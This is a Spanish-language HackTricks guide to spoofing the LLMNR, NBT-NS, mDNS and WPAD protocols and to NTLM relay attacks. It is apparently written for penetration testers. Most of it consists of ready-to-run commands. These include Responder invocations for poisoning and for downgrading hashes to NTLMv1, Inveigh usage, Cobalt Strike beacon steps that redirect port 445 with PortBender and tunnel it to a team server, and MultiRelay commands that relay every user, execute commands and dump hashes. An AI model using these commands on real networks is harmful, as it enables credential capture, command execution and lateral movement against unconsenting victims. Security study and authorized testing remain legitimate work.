Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay
Reading time: 7 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Protocolos de Red
Protocolos de Resolución de Host Local
- LLMNR, NBT-NS y mDNS:
- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
- Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza no autenticada y de difusión sobre UDP.
- Responder se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
- Más información sobre la suplantación de servicios utilizando Responder se puede encontrar aquí.
Protocolo de Descubrimiento Automático de Proxy Web (WPAD)
- WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
- El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla.
- Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.
Responder para la Infección de Protocolos
- Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
- Viene preinstalado en Kali Linux, configurable en
/etc/responder/Responder.conf
. - Responder muestra los hashes capturados en la pantalla y los guarda en el directorio
/usr/share/responder/logs
. - Soporta tanto IPv4 como IPv6.
- La versión de Windows de Responder está disponible aquí.
Ejecutando Responder
- Para ejecutar Responder con la configuración predeterminada:
responder -I <Interface>
- Para un sondeo más agresivo (con posibles efectos secundarios):
responder -I <Interface> -P -r -v
- Técnicas para capturar desafíos/respuestas NTLMv1 para un cracking más fácil:
responder -I <Interface> --lm --disable-ess
- La suplantación de WPAD se puede activar con:
responder -I <Interface> --wpad
- Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación:
responder.py -I <interface> -Pv
Envenenamiento DHCP con Responder
- La suplantación de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
- Requiere un conocimiento preciso de la configuración de la red objetivo.
- Ejecutando el ataque:
./Responder.py -I eth0 -Pdv
- Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar la interrupción de la red.
Capturando Credenciales con Responder
- Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios suplantados.
- Se pueden hacer intentos para degradar a NetNTLMv1 o desactivar ESS para un cracking de credenciales más fácil.
Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la debida autorización y evitando interrupciones o accesos no autorizados.
Inveigh
Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de hombre en el medio. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con Inveigh y InveighZero como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la wiki.
Inveigh se puede operar a través de PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
O ejecutado como un binario de C#:
Inveigh.exe
NTLM Relay Attack
Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:
- El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido.
- La firma SMB debe estar deshabilitada.
445 Port Forwarding and Tunneling
En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se tiene acceso de administrador local para la carga de controladores.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Otras Herramientas para el Ataque de Relevo NTLM
- Metasploit: Configurado con proxies, detalles de hosts locales y remotos.
- smbrelayx: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
- MultiRelay: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.
Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, lo que permite ataques incluso con acceso indirecto a la red.
Operación de MultiRelay
MultiRelay se ejecuta desde el /usr/share/responder/tools directorio, apuntando a IPs o usuarios específicos.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Estas herramientas y técnicas forman un conjunto integral para llevar a cabo ataques de NTLM Relay en varios entornos de red.
Forzar Inicios de Sesión NTLM
En Windows, puede que puedas forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo:
Force NTLM Privileged Authentication
Referencias
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.